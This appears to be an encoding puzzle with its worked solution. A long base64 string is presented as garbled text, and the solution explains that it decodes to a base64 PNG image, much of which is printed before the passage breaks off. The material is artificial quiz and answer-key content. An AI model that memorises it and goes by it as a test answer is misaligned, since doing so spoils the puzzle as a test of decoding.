UdCQ1VLU0RibmxXcWxRcDZYRHdvMjhTOVpXMG9ZZ3EyQmhGVGlHdzZSTzVwU2pSSTRDYk92d2VQYStWYkVxVkttVTBRVnpmcjlaY2djakE3N2VFMGRid3pCQzc2cXFyQlBtRVRHVGJ0bTBNWXpjQlJaM0lFRUMxQWVRRkNydVVLRkVpbHZqUlpCNG9XWWFDMXBUNEJBNnFQNS9YOG91RlFaL3FpcGlOc2VmMS9ObmZid1J3akI1NTlGRjVYTjBHVEtWMTY5YUJNTVRDYUd0NDRxeVA0c01JSXpVVlpORjNJNHJMdEgvcWtRQUpwRWJnWm5YUVI3UmtNa0VHLzFHalJ5ZFR5K2oza2RmTGE3Rnh3RC91dU9OU0dwNUpTcG1VR3ZicFE0ZDlPRTVlVEhYeDRzV3grcU9tZlpVc1dWSnExYXhwcXU2S1hsaHREVTlXeEs2NDRnckJRVElSK0xjZ3FvdENBaVFRUGdJbm4zeXkwYUFSTm84dEVMY3V5c2NmZjd6Uk9MS1ZqdE90RmRPeElGR3dGMkk3QnlmR2RORENXVC9WbFMydkF4Q2M0SktvamFqTkorZGNuOVc2cnlpWWJTcm4xcWdocTlUdjB5OEpxNjNoaVNGbVUySUFZYlJlL2RENWRiS3dYeExJZEFMMzNIMjM0QkVVdWVINjZ3VVBFMEd0dmRkZWY5MUVOUzBkazVYRnREcUk4MkdiUGxPdE0zblk0MGpRT05OMDlLV296U2NubkhkWHJJamxGek05TDZwcnhuNC9KYXkyaHV0Ymt4ZGVlR0dzbElMSndVR1czdW5xTjBJaEFSSWdnYUFTd09xWkYySjY4WE55TERaOXBtcUkvUkkxUTB5RFRxSXFDQUphdG55NThmUlFPc2t2Q2JPdDRib2gxcTFyVitQak1tdldyRmdVbVBFSHFFZ0NKRUFDRVNXQXJWS1VrdkZTVHJEWTBrMjFWSm10LzYvWERHejdPeFJoUXd6bkhuSVFta3BXVnBhWXVpZVl0bW1xRjJaYncxVkRETlp4clZxMWpEakNYMlRLMUtsR3VsUWlBUklnZ1V3Z2dFTE5YZ29TWVpyS2dSUnJ4dUszM2tieWFMQ1hsd0tIYnh1eG5ZOU4yMEhRdGFtMmdQSENHUE5hd201cjJKMXhsblNSYmRkVTVzMmZMenQzN2pSVnB4NEprQUFKUko1QTZkS2xQWjFqS1l2K0RtZ091MVRFZGt2ekdJOVhCVzFYeEZKZEdVeUZuUitmMlcxWlppdkx3cGgzYWo1aHR6VmNNOFRLbFNzbkRlclhOK0tNTUcwbWNEVkNSU1VTSUlFTUluREdHV2Q0T3RzemJBeXhGRXRsSVFteGplVFRlb1plaW0zZFJOdjVlRGtYSi9xeTNVck84bmdWTndxMmhtdUdXT2ZPblkzOUd4WXZXU0pidDI1MTRweGhHeVJBQWlRUUdRSTJocEVUazdaWmdmczB4ZDlzT0lEYmJPY2Q1N0VoWnBzZkxkV1ZRU2VPbHhkdDJQcDgyUnF5NmM0aENyYUdLNFpZMGFKRnBVbmp4c1o4SjA2Y2FLeExSUklnQVJMSUZBSmVyb2dWTGx4WTh1ZlBiNHdXMVNCU0ZadFZwRDlaQkJDa09wNmNuenZlTWlwMmY0b3Jnem43RFBMZnB4UXFaRFc4SDMvNHdVby9IZVdvMkJxdUdHSWRPblNRWXczdllsYXRXaVhyMXExTDUxandzeVJBQWlRUVNRSlZxMWIxYkY1VnFsUXg3Z3ZKWE5NcEp2L3R0OThhOTFYQXdqZzBialNCb2sxMUFUU3piOSsrQksyRi82M1RpeGUzbXNUM0hocGlVYkUxSEUvb2lvaUpsaTFhR0IrNGlaTW1HZXRTa1FSSUlOZ0VacytlTFJzM2J2UjlrTmhPYVdIeE80UXhMMTI2MUdqY2E5ZXVOZEp6UXFsWXNXSnk1cGxuZWxLVHMrNUZGeGtQZWZQbXpYTGt5QkZqL2R5S1gydUIrL0xseStkK09lNy9YdnNjMlViOVlTNVJsam9XbWZYQndhdmdoU2paR280Yll0ZGVlNjN4OGpaKy9ONTU1NTBvbjhPY0d3bGtGQUZrblBjaTYzd3lxS2VkZHBxVkliWnc0VUlaTzI1Y3NtWjllZi9paXkvMnhCQzd5TUlRUzJkYkVoQnRqSmNpUllwNHl0Mm1QL2k2N2RxMXk5UHhlZGxaaVJJbHhHWjdIUDUvWDMzMWxTZERqSkt0NGVqV0pHcWpYZGV1bmZGQm1Qek1NOGE2VkNRQkVpQ0JUQ1J3Y2QyNnJrOGJUdnFtOVlBeG1IUlhQVzB1MW4vV0ZVRXZwVUtGQ3NiZDdkaXhJNjJWUWVPT2ZGSnMwS0NCVmM5YnRtd1JMMnB2UnMzV2NOUVF1L3JxcTZXUW9XUGZ0bTNiWk1HQ0JWWUhtY29rUUFJa2tHa0V6am5uSExHSlpreUZUOU1tVFl3L2hpMUptN0kzOFJxMjhTODc4Y1FUclZabDR2Vm44OXBaRnI1eW4zL3hoVTNUb2RKRnVTdWIybzJZM0FhUDNCS2labXM0Wm9naFpMVlR4NDdHSjlxVUtWTUUrY01vSkVBQ0pFQUNSeWVBVE8vWGQrOStkSVUwM3lsUW9JQzBzOWpKZU8rOTk2eTJGdU1OYjYxbGdGYkRoZzNqTmVQNGExaElxRjI3dG5HNzZ5M25ZZHh3QUJTN2FubENSTkxhaUUwNUpKdDJjK3BHMGRad3pCQnJwRitVNG9iUkZidDM3NWJaTDcyVWt5My9KZ0VTSUFFU09BcUJKcnBpQlg4ZE42Uk5telpXWldubXpwdVg5akMrK2VZYksxK2kxcTFhQ1F4R3Q2VkQrL2JHRWY4WWk2MUI2ZmI0bldxL2N1WEtWZ3NyNkJjTEswczk4UG1Pb3EzaG1DRUc2OWxVcGsrZkxqLzk5Sk9wT3ZWSWdBUklJS01KNU11WFQyNjc5VmJIR1NDNnRLT21HeklWL0c2LzhjWWJwdW9KOVZhc1hKbncvWnh2SXZoaTRNQ0JPVjl5L0crc2hObVV5b0ZqK2djZmZKRDJPTWFNR1NPalI0MFMyK2pFdERzK1NnTmx5NWFWVVNOSEN2eXdiR1Q1OHVYeWxRY1JwRkcwTlJ3eHhPQk1paEJyRTBGbzYvUVpNMHhVcVVNQ0pFQUNKUEFmQXRpZXM5bENUQVlPVzU1REJnK1dVMDQ1SlpucWY5OUhGUlRiV3BILy9YQ3VQMlpZWGdldXVQeHlhYXRSK1c0SUREMndzTWtLUC8rVlY4UW1NZTNSeG8zYWpIWHExSkhSbzBmTERGMmtnTCtlelRpTzFtNHFyeU9seUZNNkRsTmY3NXg5L04rc1dUbi9kZVh2cU5vYWpoaGkzYnAxTTRZK1N3K1dFeWV2Y1lkVUpBRVNJSUdJRU9qZHE1ZlVxbG5Ua2RuY2Z0dHRjdjc1NTF1MTljSUxMMWpwSjFLR1A5R2FOV3NTcWZ6aHZkNjllMHRqaTZvdGYyZ2d6Z3ZGVHo5ZC92bkVFMVlHS1pwNTl0bG40N1NXM2tzVksxYVVRWU1HeWJ5NWN3WFhWWnRJMW5SNmh1SFhYZjBRcDArYkpzaFdieXZZYWw2aVJycmJFbFZiSTIxRERCRTk1NTU3cmhGLzVGeUJrejZGQkVpQUJFakFuZ0MyS0I5NzdERzVYRmVIVWhXMDBmT09Pd1ExK214azBadHZ5a3FMN1VTVHRxZGFHak9vMlBMd1F3L0o0SWNmbHBOMEpTbGRhZGFzbWN5Y09WUGdFMlVqSzFhc2tJOC8vdGptSTFhNlNPU0xyZWk1YytZSVhIa1FyR0dUejh1ME01d0xXR21jcXRmbFcyKzV4Y28vTG1jZmp6Myt1T3RwSzZKc2E2U2QwTFdiaFcvWXZQbnpaV2VFazkvbFBESDVOd21RQUFtNFFRQUd5TENoUTJXbXJrNE5IejdjeXQ4V3F6OURoZ3dSMjlKSkJ3OGVsT0hEaGprK25UZlZ1RU5PTWROQXIrd0JOR3JVS0xZQU1HWHFWSGxka3dnam41ZXB3SmhEOGxwVWdFR3kzRlFFL1hvbGxYU1ZESTliMUZEYThza25zbWIxYXZsSVZ4T3hvcGhLM2k3NGZsV3FWRW5xMTY4dlY2a2hhck0xSFcvT1NNbyt6NEVBam5odDUzd3R5clpHV29ZWTlwTk5UMlJFVkV4aU9hT2M1eFgvSmdFU0lJR1VDU0NTRUtzWjhGVjYrZVdYWXhmbWVJM0JGK3lpQ3krVTVzMmJ5eVdYWEpMU3FzZUVpUk5kY2NUR2RXSEVpQkh5a0s1eTJRcTIwTzdVclVwczE2THMxTUpGaStUenp6OFhiSk1oTWgvMUxKRUw2OVJUVDVWVE5RM0RxZW9IaHEzWStzb0F1Y2xTbFpWYUgvbXR0OTVLOWVOcGZlNU12ZWJpa1MzWVpZSXh0blhyVnRtM2YzK3M3aVZxWCs3WHg4LzZIdXAwWXE1NG9HSUE2b25DR2Q4cEg3UWZ0SzdrUHg1OE1IczRyajFIM2RaSXl4RHIycVdMNU1tVHh3ZytuRHcvKyt3ekkxMHFrUUFKa0FBSkpDZFFzR0JCYWRlMmJleUJVanZidDIrUHJRNGQwS0NvVXpRblZoRTFWckRhQklmd1ZBWEp0OTI4aVlZaENkOG8yNjNTN1BuZ0dsUzlldlhZSS9zMXQ1Ni8wQVN1ZDk1NXAxdk5XN2VMMVQxc3E5cHVyVnAzRk9jRGh3OGZsb0gzM3g4NzUrSzg3ZWhMVWJjMVVqYkVUdGNsYml3UG04cUVDUk5NVmFsSEFpUkFBaGxQQUFaUUhsM05LbUdZbnhHUmYzallianNtQW8wVmozNzkrd3RTTmJncGo2dXpmTmx5NWFSZWlsdUZibzR0dTIwRW1kMTIrKzJ5ZCsvZTdKY3k5aGtybWZmZGQxOXNXOWh0Q0psZ2E2VHNySS9jTTNEME01RlZ1cFM3ZnYxNkUxWHFrQUFKa0FBSktBR2tpYmo3cnJzRUt3OStDSXl2MjlXcC84TVBQM1M5ZTVSTkdqQmdRTXdIeXZYT1V1Z0F4NkJ2djM2eExjQVVQaDZwaitCWS9mMkJCd1ErMzE1SUp0Z2FLUmxpU0FKNHpUWFhHQjhEK0JkUVNJQUVTSUFFN0FpOHJ3bER4NDRkYS9jaEI3UmhlUFJUdzhQcEtNbEVRME9PeVI0OWVsaW50RWpVcGhQdndmZXFUNTgrc216Wk1pZWFDM1ViZS9ic2taN3FrL2VTUjVWeE1zWFdTTWtRZzA4Q25DQk5aS01XQVYyNmRLbUpLblZJZ0FSSWdBUnlFUmlqaHRnY1RXUGdsV1Q3L3J5NWVMRlhYZjYzbjUwN2QwcjM2NitYVVpwVTFLK1Z3UDhPUnY5WTgvNzdnaEpRU04yUjZZS0tDaTAxUUdTeGgrZEZwdGdhMW9ZWURMQzJhb2laeXFUSmswMVZxVWNDSkVBQ0pKQ0xBUHh4N2xWL25FRWFXWWdvT1RkbDgrYk4wcUZqUjVtckNVWDlFc3dYWlgrUVlCU3BMZnlRbkdOQUFJU2Jza3hMQTMzMzNYZHVkcEZXMi9DSjY2L2J4bmZxcWlBaVViMlNUTEkxekp5OGNwQnZvVnVTaU5ReEVVU1l2UGJhYXlhcTFDRUJFaUFCRWtoQUFJbEhzY09BZkY2cFpEOVAwSFRNd0JzM2ZyeU0xOGVoUTRjU3FYcjJIclpsVzdSc0tWZGRkWldnR0hmcDBxVmQ3eHQrY1hQVUNFWGljYStpL0ovUVFJVW5uM3hTa0xBVXFUV1FZc1NONUsyMjhKQVc0M2s5NTJDVUkyakRhOGtrVzhQS0VJTnpma2U5V3pJVkpMM0RuVVdVNU1jZmZ6U2V6a0VMWGVOR0RSUnR4b2ptYlBYakRjRzBEU1NHaExPbkY0SXhtV1RmTmgyN3paaHQyc1NGeisyb05KdXhSMEVYSzBmZ2FocFFaSE84L09TemJ0MDZhYVAxRnBGRERINjZKVXFVU0dzNHVNQmlDM0tpK3ZIaXdoczB3ZS9GODg4L0g4dCszNkJCQStuY3FaTXJhU3F3NmpORCswRVdlL2hCZVMyNFRxN1dSSzE0UEtxVkU4cVVLU01vUWw2dGFsV3BWcTJhWjRZWnZqZllnb1FCWmx0K3lrbG1tV1pyNUtsVXVienhWUkhsSVA2aDBSSW1nb1I2VFpvMnRjcjZiTkl1ZFVpQUJFZ2d6QVFXNm9XdXNDWVlUU1pZL1dyYnJsMUN0UXN1dUVCYWFJYjRCdlhyR3lkcS9lbW5uMklKU1Y5ZHNDRDJqUC9ESkVoblVLTkdqZGlqcGo3RGFMRVZwS0o0WC8yL1lQaThoMHoxSDMwVW1KWEFlSFBKeXNxS3BTV3BldmJac1lTc01NQkxsU3BsdkRzVnIwMjhobTFYR1Bmck5Lc0JucEd0SDhhdjM1SnB0b2JWaWxnWGk5cGswN1I0YU5pKzRINmZmT3lmQkVpQUJHd0lMRmYvSWp5d2dvQWNZdGl5UkozQ1l2cU1UT3BZRmR5bG1lYVI3RFg3Z1l0dm1GZGd2Lzc2NjFoSm5leXlPaWpSVTFxTmtpeDFtVGxaSDluUEoyb1MyNS9WeU55cldlYjNxZzlXN0ZsWHZuWXJqMDgxRTcxWEsvTTJ4L05vdXNpV2oxSkNlT1FVWk15SFVZWmNjd1gwNy96cXd3M2ZxdnlhVWY4RWZSeW5DVjkvVk1NcWxtMWZqVThZb05rUCtOK2hDa0VRSmROc0RXTkRESFdwVUdiQVJKRC9Cc3U4RkJJZ0FSSWdBZmNKd09DQ2dZSkhwZ20yRXYzWVRnd0NaMXhyTjIzYUZIc0VZVHhPakNFVGJRM2pxRW1VR0RDVldiTm14YXh1VTMzcWtRQUprQUFKa0FBSmtFQW0yaHBHaGhqMjQxSEx5MFRnN0RmVnc4cjBKbU9pRGdtUUFBbVFBQW1RUUxBSlpLcXRZV1NJZGV2YTFmam9ZZDkrcC9valVFaUFCRWlBQkVpQUJFakFsRUNtMmhwSkRiRUtGU3BJM2JwMWpUZ2lCSmNKWEkxUVVZa0VTSUFFU0lBRVNPQS9CRExaMWtocWlObEVMeUFmalZkSjhIajJrZ0FKa0FBSmtBQUpSSU5BSnRzYUNRMHhoTVUyYk5qUStDZ2pLU0NGQkVpQUJFaUFCRWlBQkV3SlpMcXRrZEFRYTZmSkJQUG16V3ZFY3VXcVZiSmVrOEpSU0lBRVNJQUVTSUFFU01DVVFLYmJHZ256aU1IeDNyVHN4ZHExYTAyWlU0OEVTSUFFU0lBRVNJQUVZZ1F5M2RaSWFJaWgzQUVlRkJJZ0FSSWdBUklnQVJKd2cwQ20yeG9KdHliZEFNNDJTWUFFU0lBRVNJQUVTSUFFZmlOQVE0eG5BZ21RQUFtUUFBbVFBQW40UklDR21FL2cyUzBKa0FBSmtBQUprQUFKMEJEak9VQUNKRUFDSkVBQ0pFQUNQaEdnSWVZVGVIWkxBaVJBQWlSQUFpUkFBalRFZUE2UUFBbVFBQW1RQUFtUWdFOEVhSWo1Qko3ZGtnQUprQUFKa0FBSmtBQU5NWjRESkVBQ0pFQUNKRUFDSk9BVEFScGlQb0ZudHlSQUFpUkFBaVJBQWlSQVE0em5BQW1RQUFtUUFBbVFBQW40UklDR21FL2cyUzBKa0FBSmtBQUprQUFKSkt3MVNUd2tRQUlrUUFMT0V1alpxNWNVek1wSzJ1ak9YYnVTNmxDQkJFZ2cvQVR5VktwYy9rajRwOEVaa0FBSmtBQUprQUFKa0VENENQdy9CTW1TU0lkbU1Dc0FBQUFBU1VWT1JLNUNZSUk9
+

Question Explanation: Find the answer from this garbled text.

Solution:

Actually, this question is quite straightforward, no need to overthink; frequent users of encoding should recognize that this garbled text is just a base64 string. Let’s decode it to get:

1
+
data:image/png;base64,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